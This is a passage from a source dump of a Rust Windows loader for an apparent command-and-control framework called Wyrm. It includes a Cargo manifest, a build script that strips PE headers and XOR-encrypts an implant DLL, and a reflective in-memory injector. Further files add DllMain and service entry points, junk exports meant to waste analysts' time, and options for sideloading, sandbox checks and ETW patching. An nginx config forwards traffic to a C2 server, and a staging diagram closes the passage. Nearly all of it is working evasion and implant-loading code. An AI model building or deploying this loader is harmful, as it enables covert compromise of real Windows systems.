    "content": "[package]\nname = \"loader\"\nversion = \"0.1.0\"\nedition = \"2024\"\nbuild = \"build.rs\"\n\n[profile.release]\nopt-level = \"z\"\nlto = \"fat\"\nstrip = \"symbols\"\ndebug = 0\nsplit-debuginfo = \"off\"\npanic =\"abort\"\n\n[[bin]]\nname = \"loader\"\npath = \"src/main.rs\"\n\n[[bin]]\nname = \"loader_svc\"\npath = \"src/main_svc.rs\"\n\n[lib]\nname = \"loader\"\npath = \"src/lib.rs\"\ncrate-type = [\"cdylib\"]\n\n[features]\nsandbox_trig = []\nsandbox_mem = []\npatch_etw = []\n\n[dependencies]\nwindows-sys = {version = \"0.61\", features = [\n    \"Win32\",\n    \"Win32_Foundation\",\n    \"Win32_System_SystemServices\",\n    \"Win32_System_Diagnostics_Debug\",\n    \"Win32_System_SystemInformation\",\n    \"Win32_System_Memory\",\n    \"Win32_System_LibraryLoader\",\n    \"Win32_System_Threading\",\n    \"Win32_System_WindowsProgramming\",\n    \"Win32_System_Services\",\n    \"Win32_Security\",\n    \"Win32_UI_WindowsAndMessaging\",\n    \"Win32_Storage_FileSystem\",\n]}\n "
  },
  {
    "path": "loader/build.rs",
    "content": "use std::{\n    env,\n    fmt::Write,\n    fs::{self, File},\n    io::Read,\n    path::{Path, PathBuf},\n};\n\nconst ENCRYPTION_KEY: u8 = 0x90;\n\nfn main() {\n    let envs = &[\n        \"EXPORTS_JMP_WYRM\",\n        \"EXPORTS_USR_MACHINE_CODE\",\n        \"EXPORTS_PROXY\",\n        \"SVC_NAME\",\n        \"DLL_PATH\",\n        \"MUTEX\",\n    ];\n\n    for key in envs {\n        println!(\"cargo:rerun-if-env-changed={key}\");\n    }\n\n    for var in envs {\n        if let Ok(val) = env::var(var) {\n            println!(\"cargo:rustc-env={var}={val}\");\n        }\n    }\n\n    prepare_wyrm_dll();\n    write_exports_to_build_dir();\n}\n\n/// Reads and encrypts the post-ex Wyrm DLL\nfn prepare_wyrm_dll() {\n    let buf = if let Some(path) = option_env!(\"DLL_PATH\") {\n        let path = PathBuf::from(path);\n        let mut f = File::open(path).unwrap();\n        let mut buf = Vec::with_capacity(f.metadata().unwrap().len() as usize);\n        f.read_to_end(&mut buf).unwrap();\n\n        // overwrite the MZ header but keeping the e_lfanew\n        const MAX_OVERWRITE_END: usize = 50;\n        buf[0..MAX_OVERWRITE_END].fill(0);\n\n        // overwrite the THIS PROGRAM CANNOT BE RUN IN DOS MODE...\n        const RANGE_START: usize = 0x4E;\n        const RANGE_END: usize = 0x73;\n        buf[RANGE_START..RANGE_END].fill(0);\n\n        //\n        // Encrypt using a NOP opcode, given their frequency in a PE this feels like a good\n        // choice\n        //\n        for b in buf.iter_mut() {\n            *b ^= ENCRYPTION_KEY;\n        }\n\n        buf\n    } else {\n        vec![]\n    };\n\n    let out_dir = PathBuf::from(env::var(\"OUT_DIR\").unwrap());\n    // TODO take the test path profile name and append\n    let dest_path = Path::new(&out_dir).join(\"rdll_encrypted.bin\");\n    fs::write(dest_path, buf).unwrap();\n}\n\n/// Writes exported symbols to the binary, whether genuine exports or proxied ones.\nfn write_exports_to_build_dir() {\n    let out_dir = PathBuf::from(env::var(\"OUT_DIR\").unwrap());\n    let dest = out_dir.join(\"custom_exports.rs\");\n    let mut code = String::new();\n\n    let exports_usr_machine_code = env::var(\"EXPORTS_USR_MACHINE_CODE\").ok();\n    let exports_proxy = env::var(\"EXPORTS_PROXY\").ok();\n    let exports_jmp_wyrm = env::var(\"EXPORTS_JMP_WYRM\").ok();\n\n    if let Some(export_str) = exports_jmp_wyrm {\n        if export_str.is_empty() {\n            // If there was no custom export defined, then we just export the 'run' extern\n            writeln!(&mut code, \"build_dll_export_by_name_start_wyrm!(run);\",).unwrap();\n        }\n\n        for fn_name in export_str.split(';').filter(|s| !s.trim().is_empty()) {\n            writeln!(\n                &mut code,\n                \"build_dll_export_by_name_start_wyrm!({fn_name});\",\n            )\n            .unwrap();\n        }\n    } else {\n        // Just in case.. we still need an entrypoint, tho this should never run\n        writeln!(&mut code, \"build_dll_export_by_name_start_wyrm!(run);\",).unwrap();\n    }\n\n    if let Some(export_str) = exports_usr_machine_code {\n        for item in export_str.split(';').filter(|s| !s.trim().is_empty()) {\n            let mut parts = item.split('=');\n            let name = parts.next().unwrap().trim();\n            let bytes = parts.next().unwrap_or(\"\").trim();\n\n            assert!(!name.is_empty());\n            assert!(!bytes.is_empty());\n\n            writeln!(\n                &mut code,\n                \"build_dll_export_by_name_junk_machine_code!({name}, {bytes});\",\n            )\n            .unwrap();\n        }\n    }\n\n    if let Some(exports) = exports_proxy {\n        for item in exports\n            .split(';')\n            .map(|s| s.trim())\n            .filter(|s| !s.is_empty() && s.is_ascii())\n        {\n            println!(\"cargo:rustc-link-arg=/export:{item}\");\n        }\n    }\n\n    fs::write(dest, code).unwrap();\n}\n"
  },
  {
    "path": "loader/src/export_comptime.rs",
    "content": "//! A module for creating either fake exports full of junk, or exports which\n//! lead to the running of the agent, customisable via profiles - thanks to the\n//! magic of macros.\n//!\n//! This module would be used for two main reasons:\n//!\n//! 1) Obfuscation: If you wish to obfuscate the binary by enforcing a number of random\n//! exports which take analyst time up to review, then you may wish to add a number of\n//! junk export functions.\n//!\n//! 2) Custom entrypoint: If you wish a custom entrypoint which is not `run`, this will\n//! allow you to define that - and it will come in handy for custom DLL sideloading.\n//\n\nuse core::arch::naked_asm;\nuse core::ffi::c_void;\nuse core::sync::atomic::{AtomicBool, Ordering};\nuse core::{mem::transmute, ptr::null_mut};\n\nuse windows_sys::Win32::Foundation::{CloseHandle, FALSE, HINSTANCE};\nuse windows_sys::Win32::Storage::FileSystem::SYNCHRONIZE;\nuse windows_sys::Win32::System::SystemServices::DLL_PROCESS_ATTACH;\nuse windows_sys::Win32::System::Threading::{CreateThread, LPTHREAD_START_ROUTINE, Sleep};\nuse windows_sys::Win32::System::WindowsProgramming::OpenMutexA;\n\nuse crate::injector::inject_current_process;\nuse crate::utils::generate_mutex_name;\n\npub static APPLICATION_RUNNING: AtomicBool = AtomicBool::new(false);\n\npub fn internal_dll_start(start_type: StartType) {\n    match start_type {\n        StartType::DllMain => start_in_os_thread_mutex_check(),\n        StartType::FromExport => {\n            if !APPLICATION_RUNNING.load(Ordering::SeqCst) {\n                start_in_os_thread_no_mutex_check();\n            }\n\n            loop {\n                unsafe { Sleep(1000) };\n            }\n        }\n    }\n}\n\nfn start_in_os_thread_no_mutex_check() {\n    unsafe {\n        let start = transmute::<LPTHREAD_START_ROUTINE, LPTHREAD_START_ROUTINE>(Some(runpoline));\n        let handle = CreateThread(null_mut(), 0, start, null_mut(), 0, null_mut());\n\n        if !handle.is_null() {\n            APPLICATION_RUNNING.store(true, Ordering::SeqCst);\n        }\n    }\n}\n\nfn start_in_os_thread_mutex_check() {\n    // If the mutex already exists we dont want to continue setting up Wyrm so just return out the DllMain\n    if check_mutex().is_some() {\n        return;\n    }\n\n    start_in_os_thread_no_mutex_check();\n}\n\nunsafe extern \"system\" fn runpoline(_p1: *mut c_void) -> u32 {\n    inject_current_process();\n\n    0\n}\n\n#[allow(dead_code)]\npub enum StartType {\n    DllMain,\n    FromExport,\n}\n\n/// Returns `Some(())` if the mutex exists on the system\nfn check_mutex() -> Option<()> {\n    let mutex: &str = option_env!(\"MUTEX\").unwrap_or_default();\n    if mutex.is_empty() {\n        return None;\n    }\n\n    let mtx_name = generate_mutex_name(mutex);\n\n    let existing_handle = unsafe { OpenMutexA(SYNCHRONIZE, FALSE, mtx_name.as_ptr() as *const u8) };\n\n    if !existing_handle.is_null() {\n        unsafe { CloseHandle(existing_handle) };\n        return Some(());\n    }\n\n    None\n}\n\nmacro_rules! build_dll_export_by_name_start_wyrm {\n    ($name:ident) => {\n        #[unsafe(no_mangle)]\n        unsafe extern \"system\" fn $name() {\n            internal_dll_start(StartType::FromExport);\n        }\n    };\n}\n\nmacro_rules! build_dll_export_by_name_junk_machine_code {\n    ($name:ident, $($b:expr),+ $(,)?) => {\n        #[unsafe(no_mangle)]\n        #[unsafe(naked)]\n        unsafe extern \"system\" fn $name() {\n            naked_asm!(\n                $(\n                    concat!(\".byte \", stringify!($b)),\n                )+\n            )\n        }\n    };\n}\n\ninclude!(concat!(env!(\"OUT_DIR\"), \"/custom_exports.rs\"));\n"
  },
  {
    "path": "loader/src/injector.rs",
    "content": "use core::{\n    ffi::{CStr, c_void},\n    mem::transmute,\n    ptr::{copy_nonoverlapping, null_mut, read_unaligned},\n};\n\nuse windows_sys::Win32::System::{\n    Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},\n    Memory::{\n        MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, VirtualAlloc,\n        VirtualProtect,\n    },\n    SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY},\n};\n\nconst DLL_BYTES: &[u8] = include_bytes!(concat!(env!(\"OUT_DIR\"), \"/rdll_encrypted.bin\"));\nconst ENCRYPTION_KEY: u8 = 0x90;\n\n/// Inject the rDLL into our **current** process\npub fn inject_current_process() {\n    unsafe {\n        //\n        // Allocate the encrypted PE and decrypt in place\n        //\n        let p_decrypt = VirtualAlloc(\n            null_mut(),\n            DLL_BYTES.len(),\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE,\n        );\n        if p_decrypt.is_null() {\n            return;\n        }\n\n        // Copy the bytes into it\n        copy_nonoverlapping(DLL_BYTES.as_ptr(), p_decrypt as _, DLL_BYTES.len());\n\n        // Decrypt the memory\n        for i in 0..DLL_BYTES.len() as usize {\n            let b = (p_decrypt as *mut u8).add(i);\n            *b ^= ENCRYPTION_KEY;\n        }\n\n        //\n        // Now operate on the decrypted PE\n        //\n\n        let dos = read_unaligned(p_decrypt as *const IMAGE_DOS_HEADER);\n        let mapped_nt_ptr = (p_decrypt as usize + dos.e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;\n\n        //\n        // Find the 'Load' export and call the reflective loader (which exists in `Load``)\n        //\n        if let Some(load_fn) = find_export_address(p_decrypt as _, mapped_nt_ptr, \"Load\") {\n            let mut old_protect = 0;\n            let _ = VirtualProtect(\n                p_decrypt,\n                DLL_BYTES.len(),\n                PAGE_EXECUTE_READWRITE,\n                &mut old_protect,\n            );\n            let reflective_load: unsafe extern \"system\" fn(*mut c_void) -> u32 = transmute(load_fn);\n\n            // Call the export and hope for the best! :D\n            reflective_load(p_decrypt);\n        }\n    }\n}\n\n#[inline(always)]\nfn find_export_address(\n    file_base: *mut u8,\n    nt: *mut IMAGE_NT_HEADERS64,\n    name: &str,\n) -> Option<unsafe extern \"system\" fn()> {\n    unsafe {\n        let dir = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize];\n        if dir.VirtualAddress == 0 || dir.Size == 0 {\n            return None;\n        }\n\n        let exp_dir: *mut IMAGE_EXPORT_DIRECTORY = rva_from_file(file_base, nt, dir.VirtualAddress);\n\n        if exp_dir.is_null() {\n            return None;\n        }\n\n        let exp = read_unaligned(exp_dir);\n\n        let names: *const u32 = rva_from_file(file_base, nt, exp.AddressOfNames);\n        let funcs: *const u32 = rva_from_file(file_base, nt, exp.AddressOfFunctions);\n        let ords: *const u16 = rva_from_file(file_base, nt, exp.AddressOfNameOrdinals);\n\n        if names.is_null() || funcs.is_null() || ords.is_null() {\n            return None;\n        }\n\n        for i in 0..exp.NumberOfNames {\n            let name_rva = read_unaligned(names.add(i as usize));\n            let name_ptr = rva_from_file::<u8>(file_base, nt, name_rva);\n\n            if name_ptr.is_null() {\n                continue;\n            }\n\n            let export_name = CStr::from_ptr(name_ptr as *const i8).to_str().ok();\n            if export_name == Some(name) {\n                let ord_index = read_unaligned(ords.add(i as usize)) as usize;\n                let func_rva = read_unaligned(funcs.add(ord_index)) as u32;\n                let func_ptr = rva_from_file::<u8>(file_base, nt, func_rva) as usize;\n\n                return Some(transmute::<usize, unsafe extern \"system\" fn()>(func_ptr));\n            }\n        }\n\n        None\n    }\n}\n\n/// Convert an RVA from the PE into a pointer inside a buffer which came from a file - NOT correctly mapped / relocated memory.\nunsafe fn rva_from_file<T>(\n    file_base: *const u8,\n    nt: *const IMAGE_NT_HEADERS64,\n    rva: u32,\n) -> *mut T {\n    let num_sections = unsafe { *nt }.FileHeader.NumberOfSections as usize;\n\n    let first_section = unsafe { (nt as *const u8).add(size_of::<IMAGE_NT_HEADERS64>()) }\n        as *const IMAGE_SECTION_HEADER;\n\n    for i in 0..num_sections {\n        let sec = unsafe { &*first_section.add(i) };\n\n        let va = sec.VirtualAddress;\n        let raw = sec.PointerToRawData;\n        let size = if sec.SizeOfRawData != 0 {\n            sec.SizeOfRawData\n        } else {\n            unsafe { sec.Misc.VirtualSize }\n        };\n\n        if rva >= va && rva < va + size {\n            let delta = rva - va;\n            let file_off = raw + delta;\n            return unsafe { file_base.add(file_off as usize) } as *mut T;\n        }\n    }\n\n    null_mut()\n}\n"
  },
  {
    "path": "loader/src/lib.rs",
    "content": "#![no_std]\n#![no_main]\n\nuse windows_sys::Win32::{Foundation::HINSTANCE, System::SystemServices::DLL_PROCESS_ATTACH};\n\nuse crate::export_comptime::{StartType, internal_dll_start};\n\nmod export_comptime;\nmod injector;\nmod utils;\n\n#[cfg_attr(not(test), panic_handler)]\n#[allow(unused)]\nfn panic(_info: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n\n#[unsafe(no_mangle)]\n#[allow(non_snake_case)]\nunsafe extern \"system\" fn DllMain(_hmod_instance: HINSTANCE, dw_reason: u32, _: usize) -> i32 {\n    match dw_reason {\n        DLL_PROCESS_ATTACH => internal_dll_start(StartType::DllMain),\n        _ => (),\n    }\n\n    1\n}\n"
  },
  {
    "path": "loader/src/main.rs",
    "content": "#![no_std]\n#![no_main]\n\nuse crate::injector::inject_current_process;\n\nmod injector;\nmod utils;\n\n#[cfg_attr(not(test), panic_handler)]\n#[allow(unused)]\nfn panic(_info: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n\n#[unsafe(no_mangle)]\npub extern \"C\" fn main() -> i32 {\n    inject_current_process();\n    0\n}\n"
  },
  {
    "path": "loader/src/main_svc.rs",
    "content": "#![no_std]\n#![no_main]\n#![cfg_attr(not(test), windows_subsystem = \"windows\")]\n#![no_main]\n\nuse crate::injector::inject_current_process;\nuse windows_sys::{\n    Win32::{\n        Foundation::{ERROR_SUCCESS, FALSE},\n        System::Services::{\n            RegisterServiceCtrlHandlerW, SERVICE_RUNNING, SERVICE_STATUS,\n            SERVICE_STATUS_CURRENT_STATE, SERVICE_STATUS_HANDLE, SERVICE_TABLE_ENTRYW,\n            SERVICE_WIN32_OWN_PROCESS, SetServiceStatus, StartServiceCtrlDispatcherW,\n        },\n    },\n    core::PWSTR,\n};\n\nmod injector;\nmod utils;\n\n#[cfg_attr(not(test), panic_handler)]\n#[allow(unused)]\nfn panic(_info: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n\n/// Creates a service binary name, based on the malleable profile (or unwrap at comptime). The fn\n/// returns a PWSTR (*mut u16) which can be used in place of a PWSTR in windows_sys\nfn get_service_name_wide() -> [u16; 256] {\n    let mut buf = [0u16; 256];\n    static mut INITIALIZED: bool = false;\n\n    let svc_name = option_env!(\"SVC_NAME\").unwrap_or(\"DefaultService\");\n    let mut pos = 0;\n\n    for c in svc_name.encode_utf16() {\n        if pos < 255 {\n            buf[pos] = c;\n            pos += 1;\n        }\n    }\n    buf[pos] = 0;\n\n    buf\n}\n\n#[unsafe(no_mangle)]\npub unsafe extern \"system\" fn ServiceMain(_: u32, _: *mut PWSTR) {\n    svc_start();\n}\n\nfn svc_start() {\n    let mut svc_name = get_service_name_wide();\n    // register the service with SCM\n    let h_svc = unsafe {\n        RegisterServiceCtrlHandlerW(PWSTR::from(svc_name.as_mut_ptr()), Some(service_handler))\n    };\n    if h_svc.is_null() {\n        return;\n    }\n\n    unsafe { update_service_status(h_svc, SERVICE_RUNNING) }\n\n    inject_current_process();\n}\n\nunsafe extern \"system\" fn service_handler(control: u32) {\n    match control {\n        SERVICE_CONTROL_STOP => (),\n        _ => {}\n    }\n}\n\n#[unsafe(no_mangle)]\npub extern \"C\" fn main() -> i32 {\n    let mut svc_name = get_service_name_wide();\n\n    let service_table = [\n        SERVICE_TABLE_ENTRYW {\n            lpServiceName: PWSTR::from(svc_name.as_mut_ptr()),\n            lpServiceProc: Some(ServiceMain),\n        },\n        SERVICE_TABLE_ENTRYW::default(),\n    ];\n\n    unsafe {\n        if StartServiceCtrlDispatcherW(service_table.as_ptr()) == FALSE {\n            return 1;\n        }\n    }\n\n    0\n}\n\npub unsafe fn update_service_status(h_status: SERVICE_STATUS_HANDLE, state: u32) {\n    let mut service_status = SERVICE_STATUS {\n        dwServiceType: SERVICE_WIN32_OWN_PROCESS,\n        dwCurrentState: SERVICE_STATUS_CURRENT_STATE::from(state),\n        dwControlsAccepted: if state == SERVICE_RUNNING { 1 } else { 0 },\n        dwWin32ExitCode: ERROR_SUCCESS,\n        dwServiceSpecificExitCode: 0,\n        dwCheckPoint: 0,\n        dwWaitHint: 0,\n    };\n\n    unsafe {\n        let _ = SetServiceStatus(h_status, &mut service_status);\n    }\n}\n"
  },
  {
    "path": "loader/src/utils.rs",
    "content": "use windows_sys::Win32::Foundation::MAX_PATH;\n\n/// Generates a safe system `Global` mutex name given an input string.\n///\n/// **IMPORTANT NOTE**: This function is copied (for convenience) between loader and implant for generating a matching\n/// mutex name (because of nostd and shared library limits [im being lazy]). **THEREFORE** if there is a change to the\n/// logic in this function it **MUST** !!!!!!!!!!!! be reflected in both crates.\n#[allow(unused)]\npub fn generate_mutex_name(mutex: &str) -> [u8; MAX_PATH as usize] {\n    let mut mtx_name = [0u8; MAX_PATH as usize];\n    let mut cursor: usize = 0;\n    const GLOBAL_PREFIX_STR: &[u8] = br\"Global\\\";\n\n    for b in GLOBAL_PREFIX_STR {\n        mtx_name[cursor] = *b;\n        cursor += 1;\n    }\n\n    // Need to be very careful to check we aren't going to overflow the buffer in a way which wont panic\n    // as a panic will lead to an infinite loop happening in the panic handler.\n    let max_mutex_len = (MAX_PATH as usize)\n        .saturating_sub(GLOBAL_PREFIX_STR.len())\n        .saturating_sub(1);\n    let mutex_bytes = mutex.as_bytes();\n    let copy_len = mutex_bytes.len().min(max_mutex_len);\n\n    // Now safely copy into the buffer\n    mtx_name[cursor..cursor + copy_len].copy_from_slice(&mutex_bytes[..copy_len]);\n    cursor += copy_len;\n\n    // Add a null termiantor\n    if cursor < MAX_PATH as usize {\n        mtx_name[cursor] = 0;\n    };\n\n    mtx_name\n}\n"
  },
  {
    "path": "nginx/nginx.conf",
    "content": "worker_processes  1;\n\nevents {\n    worker_connections 1024;\n}\n\nhttp {\n  server {\n    listen 80;\n    server_name localhost 127.0.0.1;\n    return 301 https://$host$request_uri;\n  }\n\n  server {\n    listen 443 ssl;\n    server_name localhost 127.0.0.1;\n\n    ssl_certificate     /etc/nginx/certs/cert.pem;\n    ssl_certificate_key /etc/nginx/certs/key.pem;\n\n    # The middleware should take care of preventing DOS attacks with large body sizes by filtering\n    # on authentication ID's.\n    client_max_body_size 0;\n\n    # Allow all CORS origins\n    # If you want something more secure (i.e. only allow from IP x you control, then configure that here)\n    set $cors_allowed_origin $http_origin;\n\n    # Set CORS headers to allow translation for OPTIONS flight\n    location / {\n      if ($request_method = OPTIONS) {\n        add_header Access-Control-Allow-Origin $cors_allowed_origin always;\n        add_header Access-Control-Allow-Methods \"GET, POST, OPTIONS\" always;\n        add_header Access-Control-Allow-Headers \"authorization, content-type\" always;\n        add_header Access-Control-Allow-Credentials \"true\" always;\n        add_header Vary \"Origin\" always;\n        return 204;\n      }\n\n      # Allow credentials\n      add_header Access-Control-Allow-Origin $cors_allowed_origin always;\n      add_header Access-Control-Allow-Credentials \"true\" always;\n      add_header Vary \"Origin\" always;\n\n      proxy_set_header Host $host;\n      proxy_set_header X-Forwarded-Proto $scheme;\n      proxy_set_header X-Forwarded-For $remote_addr;\n      proxy_http_version 1.1;\n\n      # Longer timeouts (20 mins) to allow implants to be built on the server\n      proxy_connect_timeout 1200s;\n      proxy_send_timeout 1200s;\n      proxy_read_timeout 1200s;\n\n      # For streaming file uploads\n      proxy_request_buffering off;\n      proxy_buffering off;\n      proxy_max_temp_file_size 0;\n\n      proxy_pass http://c2:13371;\n    }\n  }\n}\n"
  },
  {
    "path": "resources/.$wyrm_staging.drawio.bkp",
    "content": "<mxfile host=\"Electron\" agent=\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/28.0.6 Chrome/138.0.7204.100 Electron/37.2.3 Safari/537.36\" version=\"28.0.6\">\n  <diagram name=\"Page-1\" id=\"pI35rDyQld1ihFi_Rtdx\">\n    <mxGraphModel dx=\"1425\" dy=\"829\" grid=\"1\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"1169\" pageHeight=\"827\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-10\" value=\"\" style=\"swimlane;startSize=0;dashed=1;dashPattern=8 8;swimlaneLine=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"240\" y=\"350\" width=\"200\" height=\"200\" as=\"geometry\">\n            <mxRectangle x=\"490\" y=\"300\" width=\"50\" height=\"40\" as=\"alternateBounds\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-23\" style=\"edgeStyle=orthogonalEdgeStyle;rounded=0;orthogonalLoop=1;jettySize=auto;html=1;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;\" edge=\"1\" parent=\"1\" source=\"j1-WR9KA_NSaL3muIAW7-1\" target=\"j1-WR9KA_NSaL3muIAW7-12\">\n          <mxGeometry relative=\"1\" as=\"geometry\">\n            <Array as=\"points\">\n              <mxPoint x=\"190\" y=\"365\" />\n              <mxPoint x=\"190\" y=\"155\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-24\" style=\"edgeStyle=orthogonalEdgeStyle;rounded=0;orthogonalLoop=1;jettySize=auto;html=1;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;\" edge=\"1\" parent=\"1\" source=\"j1-WR9KA_NSaL3muIAW7-1\" target=\"j1-WR9KA_NSaL3muIAW7-10\">\n          <mxGeometry relative=\"1\" as=\"geometry\">\n            <Array as=\"points\">\n              <mxPoint x=\"190\" y=\"365\" />\n              <mxPoint x=\"190\" y=\"450\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-25\" style=\"edgeStyle=orthogonalEdgeStyle;rounded=0;orthogonalLoop=1;jettySize=auto;html=1;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;\" edge=\"1\" parent=\"1\" source=\"j1-WR9KA_NSaL3muIAW7-1\" target=\"j1-WR9KA_NSaL3muIAW7-14\">\n          <mxGeometry relative=\"1\" as=\"geometry\">\n            <Array as=\"points\">\n              <mxPoint x=\"190\" y=\"365\" />\n              <mxPoint x=\"190\" y=\"700\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-1\" value=\"C2\" style=\"whiteSpace=wrap;html=1;aspect=fixed;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"30\" y=\"305\" width=\"120\" height=\"120\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-4\" value=\"exe\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"280\" y=\"40\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-5\" value=\"dll\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"280\" y=\"120\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-6\" value=\"svc\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"280\" y=\"200\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-8\" value=\"Reflective DLL injector\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"280\" y=\"384\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-9\" value=\"Remote process DLL injection\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"280\" y=\"460\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-11\" value=\"Staged\" style=\"text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"235\" y=\"320\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-12\" value=\"\" style=\"swimlane;startSize=0;dashed=1;dashPattern=8 8;swimlaneLine=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"265\" y=\"30\" width=\"145\" height=\"250\" as=\"geometry\">\n            <mxRectangle x=\"490\" y=\"300\" width=\"50\" height=\"40\" as=\"alternateBounds\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-13\" value=\"Unstaged standalone\" style=\"text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"265\" width=\"140\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-14\" value=\"\" style=\"swimlane;startSize=0;dashed=1;dashPattern=8 8;swimlaneLine=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"240\" y=\"600\" width=\"200\" height=\"200\" as=\"geometry\">\n            <mxRectangle x=\"490\" y=\"300\" width=\"50\" height=\"40\" as=\"alternateBounds\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-15\" value=\"Reflective DLL injector\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"280\" y=\"634\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-16\" value=\"Remote process DLL injection\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"280\" y=\"710\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-17\" value=\"Unstaged\" style=\"text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"240\" y=\"570\" width=\"70\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-20\" value=\"Downloads machine&amp;nbsp;&lt;div&gt;code so postex agent never&amp;nbsp;&lt;/div&gt;&lt;div&gt;exists on disk&lt;/div&gt;\" style=\"text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=#A50040;fillColor=#d80073;fontColor=#ffffff;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"480\" y=\"305\" width=\"170\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"j1-WR9KA_NSaL3muIAW7-22\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;exitX=1.001;exitY=0.473;exitDx=0;exitDy=0;exitPerimeter=0;entryX=1;entryY=0.5;entryDx=0;entryDy=0;fillColor=#d80073;strokeColor=#A50040;\" edge=\"1\" parent=\"1\" source=\"j1-WR9KA_NSaL3muIAW7-10\" target=\"j1-WR9KA_NSaL3muIAW7-5\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"420\" y=\"390\" as=\"sourcePoint\" />\n            <mxPoint x=\"470\" y=\"340\" as=\"targetPoint\" />\n            <Array as=\"points\">\n              <mxPoint x=\"490\" y=\"240\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "resources/wyrm.excalidraw",
